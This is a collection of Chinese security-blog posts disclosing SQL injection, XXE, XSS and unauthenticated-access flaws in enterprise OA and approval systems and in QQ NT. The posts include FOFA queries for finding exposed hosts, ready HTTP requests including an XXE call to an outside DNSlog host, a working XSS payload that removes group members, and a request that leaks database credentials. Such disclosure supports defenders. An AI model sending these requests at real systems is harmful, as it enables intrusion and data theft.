普通视图

Received yesterday — 2025年12月11日 Mrxn's Blog
Received before yesterday Mrxn's Blog

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

2025年12月1日 19:00

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

    Mrxn
  • 发表于2025/12/1 08:30
  • 126浏览
  • 0评论
  • 12分钟阅读

漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,旨在为企业提供从文件创建、流转到归档的全生命周期安全管控,并常作为OA系统中的加密软件,实现审批流程的自动化和信息化。

天锐绿盾审批系统的 findUserPage.do 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL查询参数,直接操控数据库查询语句,从而绕过身份验证,获取未授权的数据、修改数据库内容或执行其他恶意操作。该漏洞可能导致敏感信息泄露,例如用户数据或系统配置信息,严重影响系统的数据完整性和机密性,进而降低整体系统安全性。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看findUserPage.do的实现

看下PageVo对象的定义

getPageSql() 方法中,来自用户请求的 sortorder 成员变量被直接拼接到 pageSql 字符串中。由于这两个变量的值完全由用户控制且未经过任何安全处理,攻击者可以构造恶意的 SQL 片段。

再跟进findAllUserPage 方法,看下findAllUserPage最终的MyBatis 映射文件内容

此处的 ${pageSql} 语法在 MyBatis 中表示直接进行字符串替换,而不是使用预编译的参数化查询(#{...})。这意味着 pageSql 变量的内容将作为原始 SQL 代码的一部分被执行,这是导致SQL注入的直接原因。

该代码段提供了一个分页查询租户信息(Tenant)的功能。前端通过调用 /findUserPage.do 接口,并传递 pagerowssortorder 等参数来控制分页和排序逻辑。后端接收到参数后,通过 PageVo 对象进行封装,并最终调用 MyBatis 执行数据库查询。

由于后端在处理排序参数 sortorder 时,未进行任何安全校验或过滤,直接将这些参数拼接到 SQL 语句中,造成了 SQL注入漏洞。攻击者可以利用此漏洞执行任意数据库操作,例如窃取数据、篡改信息,甚至在特定数据库和权限配置下获取服务器控制权。

漏洞复现

POST /trwfe/login.jsp/.%2e/user/findUserPage.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

deptId=1&userName=1&userStatus=1&sort=id%20SQLI_POC&order=asc

成功延时 5 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

金和OA BookGetStoreType.aspx SQL注入漏洞

2025年12月1日 15:40

金和OA BookGetStoreType.aspx SQL注入漏洞

    Mrxn
  • 发表于2025/12/1 13:30
  • 82浏览
  • 0评论
  • 9分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 BookGetStoreType.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 BookGetStoreType.aspx 的源码,在 bin 目录下查找 JHBase.Web.Books.dll 将其进行反编译后找到 BookGetStoreType 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
  string str = this.Request["StoreID"].ToString();
  DataTable dataTable = DBOperatorFactory.GetDBOperator().ExecSQLReDataTable($"select bookTypeID,bookTypeName,bookTypeNumber from booksType where booktypeDelFlag=0 and bookstoreID='{str}' order by booktypenumber");

至此,就非常明了了,参数StoreID是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。

漏洞复现

GET /c6/Jhsoft.Web.Books/BookGetStoreType.aspx/?StoreID=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

天锐绿盾审批系统 findUserPage.do SQL注入漏洞

2025年12月1日 09:50

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

    Mrxn
  • 发表于2025/12/1 08:30
  • 81浏览
  • 0评论
  • 12分钟阅读

漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,旨在为企业提供从文件创建、流转到归档的全生命周期安全管控,并常作为OA系统中的加密软件,实现审批流程的自动化和信息化。

天锐绿盾审批系统的 findUserPage.do 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL查询参数,直接操控数据库查询语句,从而绕过身份验证,获取未授权的数据、修改数据库内容或执行其他恶意操作。该漏洞可能导致敏感信息泄露,例如用户数据或系统配置信息,严重影响系统的数据完整性和机密性,进而降低整体系统安全性。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看findUserPage.do的实现

看下PageVo对象的定义

getPageSql() 方法中,来自用户请求的 sortorder 成员变量被直接拼接到 pageSql 字符串中。由于这两个变量的值完全由用户控制且未经过任何安全处理,攻击者可以构造恶意的 SQL 片段。

再跟进findAllUserPage 方法,看下findAllUserPage最终的MyBatis 映射文件内容

此处的 ${pageSql} 语法在 MyBatis 中表示直接进行字符串替换,而不是使用预编译的参数化查询(#{...})。这意味着 pageSql 变量的内容将作为原始 SQL 代码的一部分被执行,这是导致SQL注入的直接原因。

该代码段提供了一个分页查询租户信息(Tenant)的功能。前端通过调用 /findUserPage.do 接口,并传递 pagerowssortorder 等参数来控制分页和排序逻辑。后端接收到参数后,通过 PageVo 对象进行封装,并最终调用 MyBatis 执行数据库查询。

由于后端在处理排序参数 sortorder 时,未进行任何安全校验或过滤,直接将这些参数拼接到 SQL 语句中,造成了 SQL注入漏洞。攻击者可以利用此漏洞执行任意数据库操作,例如窃取数据、篡改信息,甚至在特定数据库和权限配置下获取服务器控制权。

漏洞复现

POST /trwfe/login.jsp/.%2e/user/findUserPage.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

deptId=1&userName=1&userStatus=1&sort=id%20SQLI_POC&order=asc

成功延时 5 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

金和OA XmlDeal.aspx XXE+SQL注入漏洞

2025年11月30日 15:50

金和OA XmlDeal.aspx XXE+SQL注入漏洞

    Mrxn
  • 发表于2025/11/30 13:30
  • 112浏览
  • 0评论
  • 38分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 XmlDeal.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

XXE漏洞

直接根据 XmlDeal.aspxbin 目录下查找 JHSoft.Web.Blog.dll 将其进行反编译后找到 XmlDeal 的处理逻辑

private StringBuilder sb = new StringBuilder();
protected HtmlForm Form1;

protected void Page_Load(object sender, EventArgs e)
{
  string str = "";
  XmlDocument xmlDocument = new XmlDocument();
  xmlDocument.Load(this.Request.InputStream);
  switch (xmlDocument.DocumentElement.SelectSingleNode("//root//DealFlag").InnerText.Trim())
  {
    case "BlogPersonal":
      str = this.DealBlogPersonal(xmlDocument);
      break;
    case "BlogPhotoListAddReview":
      str = this.BlogPhotoListAddReview(xmlDocument);
      break;
    case "BlogPhotoDelPhoto":
      str = this.BlogPhotoDelPhoto(xmlDocument);
      break;
    case "BlogPhotoListDelReview":
      str = this.BlogPhotoListDelReview(xmlDocument);
      break;
    case "BlogIndexSetSession":
      str = this.BlogSetSession(xmlDocument);
      break;
    case "BlogIndexSeachBlog":
      str = this.BlogSeachBlog(xmlDocument);
      break;
    case "BlogIndexShowMore":
      str = this.BlogShowMore(xmlDocument);
      break;
    case "BlogPhotoListLoadReview":
      str = this.BlogPhotoListLoadReview(xmlDocument);
      break;
    case "BlogPhotoListGetReviewCount":
      str = this.BlogPhotoListGetReviewCount(xmlDocument);
      break;
    case "BlogPhotoListGetPhotoId":
      str = this.BlogPhotoListGetPhotoId(xmlDocument);
      break;
    case "UpLoadDialogDelTempDirectory":
      str = this.UpLoadDialogDelTempDirectory(xmlDocument);
      break;
    case "BlogGetEncrypt":
      str = this.BlogGetEncrypt(xmlDocument);
      break;
    case "AddKM":
      str = this.BlogGetContent(xmlDocument);
      break;
    case "AddType":
      str = this.BlogGetTypeName(xmlDocument);
      break;
  }
  this.Response.Write(str);
  this.Response.End();
}

请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。

SQL注入漏洞

BlogPhotoDelPhoto

DealFlag=BlogPhotoDelPhoto

private string BlogPhotoDelPhoto(XmlDocument xmlDocument)
{
  XmlNode xmlNode = xmlDocument.DocumentElement.SelectSingleNode("//root//imgSrc");
  xmlDocument.DocumentElement.SelectSingleNode("//root//strUserCode");
  string str1 = !string.op_Equality(this.Request.ApplicationPath, "/") ? this.Request.ApplicationPath + "/JHSoft.Web.Blog/" : this.Request.ApplicationPath;
  string lower1 = xmlNode.InnerText.ToLower();
  string lower2 = str1.ToLower();
  string[] strArray = lower1.Replace(lower2, ",").Split(new char[1]
  {
    ','
  });
  bool flag1 = false;
  flag1 = new JHSoft.Blog.Blog().delPhoto(lower2 + strArray[1]);

跟进delPhoto方法

public bool delPhoto(string strSrcImg)
{
  bool flag = true;
  string QueryString = $"update BlogPhoto set DelFlag=1 where photoPath = '{strSrcImg}'";
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  dbOperator.ExecSQLReInt(QueryString);
  if (dbOperator.IsError)
  {
    this.StrErrorMessage = dbOperator.ErrorMessage;
    flag = false;
  }
  return flag;
}

非常明显的SQL拼接导致SQL注入漏洞产生,但是需要注意imgSrc需要满足以下条件

  • 包含当前请求的路径,即 /c6/Jhsoft.Web.blog/
  • sql注入payload位置在包含路径后,才会在替换后使用逗号分割的第二个位置拼接进SQL语句

其他几个位置

BlogSetSession

任意文件夹删除

硬编码的DES密钥

漏洞复现

XXE

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到HTTP请求

SQL

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<root>
<DealFlag>BlogPhotoDelPhoto</DealFlag>
<imgSrc>SQLI_POC</imgSrc>
<strUserCode>admin</strUserCode>
</root>

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

QQ NT 9.9.25 Windows 存在跨站脚本攻击漏洞(XSS)

2025年11月29日 17:39

QQ NT 9.9.25 Windows 存在跨站脚本攻击漏洞(XSS)

    Mrxn
  • 发表于2025/11/29 12:51
  • 679浏览
  • 0评论
  • 17分钟阅读

漏洞简介

腾讯QQ是一款基于互联网的通讯软件。除了实现即时通讯,QQ还具备许多强大的功能。腾讯QQ(互联网通讯软件) v9.9.25.42744 全新NT架构Windows版本中存在跨站脚本(XSS)攻击漏洞,该漏洞可能存在于处理用户输入或特定页面渲染的组件中。攻击者可以通过向受害者发送包含恶意脚本的消息或通过其他交互方式,在受害者的浏览器环境中执行任意脚本。成功利用此漏洞可能导致用户会话劫持、敏感信息(如Cookie、令牌)泄露、页面内容篡改,甚至在某些情况下可能进一步导致客户端系统被攻击者控制。

影响版本

WindowsQQ_9.9.25.42744_x64

漏洞复现

下载 WindowsQQ_9.9.25.42744_x64.exe 安装后,登录qq,随便找一个如发送携带html标签与js代码的poc即可测试,可通过按钮触发、亦可不需要交互,直接触发。

‹div><button onclick="alert('PC QQbug');">点击测试</button>< div>

还有初始TG频道流出POC如下

打开群设置菜单 -> 点击剔除“成员” -> 在列表中选择第一个人 -> 点击“确定”。

<div>
<button id="test" onclick="var list = document.documentElement.getElementsByClassName('panel-headeraction')[0].children[0];list.children[list.childNodes.length - 1].children[0].click();setTimeout(() => {var an = document.documentElement.getElementsByClassName('group-user--btn')[1];an.children[0].children[0].click();setTimeout(() => {var input = document.getElementsByClassName('relation-tree')[0].getElementsByClassName('viewport-listinner')[0].children[0].children[0].children[0];input.click();setTimeout(() => document.getElementsByClassName('selector-layout__right-area')[0].getElementsByClassName('q-button--primary')[0].click(), 0)}, 0)}, 1);"></button>
<img src="x" onerror="document.getElementById('test').click()">
</div>

这个流程的最终效果就是在用户不知情的情况下,将攻击者指定的一个人(在此POC中是列表里的第一个人)从群聊中删除。如果这个POC被稍加修改,也可以用于自动同意好友请求或主动向某人发送好友请求、删除你的好友等等。

所有在此版本的用户看到特定代码会自动在本机执行js代码,可能造成代码执行,理论上可执行任意js脚本,具有极高风险!请勿更新到本版本,已在此版本的用户请降级或升级至修复后的版本(Windows QQ v9.9.25.42905)。

后续

目前腾讯内部已知此漏洞,新下载的都是已经修复后的版本了,使用此版本的请尽快更新至最新版本(Windows QQ v9.9.25.42905)。

参考

  • https://t.me/NekoMirra/1526
  • https://linux.do/t/topic/1234011

文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

金和OA Jhsoft.Web.blog/XmlHttp.aspx SQL注入漏洞

2025年11月29日 15:19

金和OA Jhsoft.Web.blog/XmlHttp.aspx SQL注入漏洞

    Mrxn
  • 发表于2025/11/29 13:31
  • 120浏览
  • 0评论
  • 15分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.blog/XmlHttp.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 Jhsoft.Web.blog/XmlHttp.aspx 的源码,在 bin 目录下查找 JHBase.Web.blog.dll 将其进行反编译后找到 XmlHttp 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.Operation = this.Request.QueryString["Operation"].ToString();
  this.param1 = this.Request.QueryString["param1"].ToString();
  this.param2 = this.Request.QueryString["param2"].ToString();
  string operation = this.Operation;
  if (operation == null)
    return;
  if (!string.op_Equality(operation, "delPhoto"))
  {
    if (!string.op_Equality(operation, "delright"))
      return;
    this.GetDelRight();
  }
  else
    this.DelPhoto();
}

Operation=delPhoto 时,参数param1被带入DelPhoto方法

public void DelPhoto()
{
  if (new JHSoft.Blog.Blog().DelPhoto(this.param1))
    this.Response.Write("ok");
  else
    this.Response.Write("No");
}
public bool DelPhoto(string PhotoID)
{
  bool flag = true;
  string QueryString = "update BlogPhotoAlbum set DelFlag=1 where photoAlbumId=" + PhotoID;
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  dbOperator.ExecSQLReInt(QueryString);
  if (dbOperator.IsError)
    flag = false;
  return flag;
}

至此,就非常明了了,参数均是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。

漏洞复现

GET /c6/Jhsoft.Web.blog/XmlHttp.aspx/?Operation=delPhoto&param1=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

友加畅捷管理系统 Service/ms_DBLis 未授权访问致信息泄露漏洞

2025年11月29日 09:40

友加畅捷管理系统 Service/ms_DBLis 未授权访问致信息泄露漏洞

    Mrxn
  • 发表于2025/11/29 08:06
  • 242浏览
  • 0评论
  • 5分钟阅读

漏洞简介

友加畅捷管理系统是一款专为小微商贸流通企业设计的财务业务一体化管理软件,涵盖进销存、财务、分销及移动管理等多个模块,旨在帮助企业实现高效的业务运营和财务核算。

该系统的 Service/ms_DBList 接口存在未授权访问漏洞,攻击者无需任何认证即可直接访问该接口,从而获取敏感信息。此漏洞可能导致企业内部数据泄露,包括但不限于用户列表、配置信息等,对企业的运营安全和数据隐私构成严重威胁。

影响版本

13.7004.1053.1000

fofa语法

icon_hash="2049187099" || fid="zzt8lL7SUwIIZQXZY6rTSw=="

漏洞分析

ServiceController 找到 ms_DBList 方法处理逻辑如下

当参数a=789234时,方法直接返回DBInfo列表,包含addressaccountpwd等敏感字段,从而造成敏感信息泄露

DBListSMS 方法类似

漏洞复现

GET /Service/ms_DBList?a=789234 HTTP/1.1
Host: youjiasoft.mrxn.net

响应回显数据库账户密码等敏感信息


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

金和OA ReportSetting.aspx SQL注入漏洞

2025年11月28日 15:20

金和OA ReportSetting.aspx SQL注入漏洞

    Mrxn
  • 发表于2025/11/28 13:31
  • 86浏览
  • 0评论
  • 13分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ReportSetting.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 ReportSetting.aspx 的源码,在 bin 目录下查找 JHBase.Web.BIframe.dll 将其进行反编译后找到 ReportSetting 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.InitParam();
  Utility.RegisterTypeForAjax(typeof (ReportSetting), ((Control) this).Page);
  if (!this.IsPostBack)
  {
    this.InitControl();
    this.RptID = string.Empty;
    if (this.Request.QueryString["Reportid"] != null)
    {
      this.strAddFlag = "1";
      DataTable setinglist = this.cmd.getSetinglist($" and BIno='{this.Request.QueryString["Reportid"].ToString()}'");
      ((HtmlInputControl) this.txtName).Value = setinglist.Rows[0]["CNname"].ToString();

参数Reportid被带入getSetinglist方法

public DataTable getSetinglist(string condition)
{
  return this.db.ExecSQLReDataTable("select a.*,a.reporttype,b.typename from BI_ReportInfo a left join BI_ReportType b on a.typecode = b.typecode where a.delflag =0 " + condition);
}

至此,就非常明了了,参数均是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。

漏洞复现

GET /c6/Jhsoft.Web.BIframe/ReportSetting.aspx/?Reportid=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读

天锐绿盾审批系统 findModulePage.do SQL注入漏洞(CVE-2025-11312)

2025年11月28日 10:40

天锐绿盾审批系统 findModulePage.do SQL注入漏洞(CVE-2025-11312)

    Mrxn
  • 发表于2025/11/28 08:26
  • 114浏览
  • 0评论
  • 12分钟阅读

漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,旨在为企业提供从文件创建、流转到归档的全生命周期安全管控,并常作为OA系统中的加密软件,实现审批流程的自动化和信息化。

天锐绿盾审批系统的 findPropertyPage.do 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL查询参数,直接操控数据库查询语句,从而绕过身份验证,获取未授权的数据、修改数据库内容或执行其他恶意操作。该漏洞可能导致敏感信息泄露,例如用户数据或系统配置信息,严重影响系统的数据完整性和机密性,进而降低整体系统安全性。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看findPropertyPage.do的实现

看下PageVo对象的定义

getPageSql() 方法中,来自用户请求的 sortorder 成员变量被直接拼接到 pageSql 字符串中。由于这两个变量的值完全由用户控制且未经过任何安全处理,攻击者可以构造恶意的 SQL 片段。

再跟进findAllStartFormPropertyPage 方法,看下findAllStartFormPropertyPage最终的MyBatis 映射文件内容

此处的 ${pageVo.pageSql} 语法在 MyBatis 中表示直接进行字符串替换,而不是使用预编译的参数化查询(#{...})。这意味着 pageSql 变量的内容将作为原始 SQL 代码的一部分被执行,这是导致SQL注入的直接原因。

该代码段提供了一个分页查询租户信息(Tenant)的功能。前端通过调用 /findPropertyPage.do 接口,并传递 pagerowssortorder 等参数来控制分页和排序逻辑。后端接收到参数后,通过 PageVo 对象进行封装,并最终调用 MyBatis 执行数据库查询。

由于后端在处理排序参数 sortorder 时,未进行任何安全校验或过滤,直接将这些参数拼接到 SQL 语句中,造成了 SQL注入漏洞。攻击者可以利用此漏洞执行任意数据库操作,例如窃取数据、篡改信息,甚至在特定数据库和权限配置下获取服务器控制权。

漏洞复现

POST /trwfe/login.jsp/.%2e/invoker/findPropertyPage.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

tenantId=1&categoryId=1&sort=SQLI_POC&order=asc

成功延时 5 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读
❌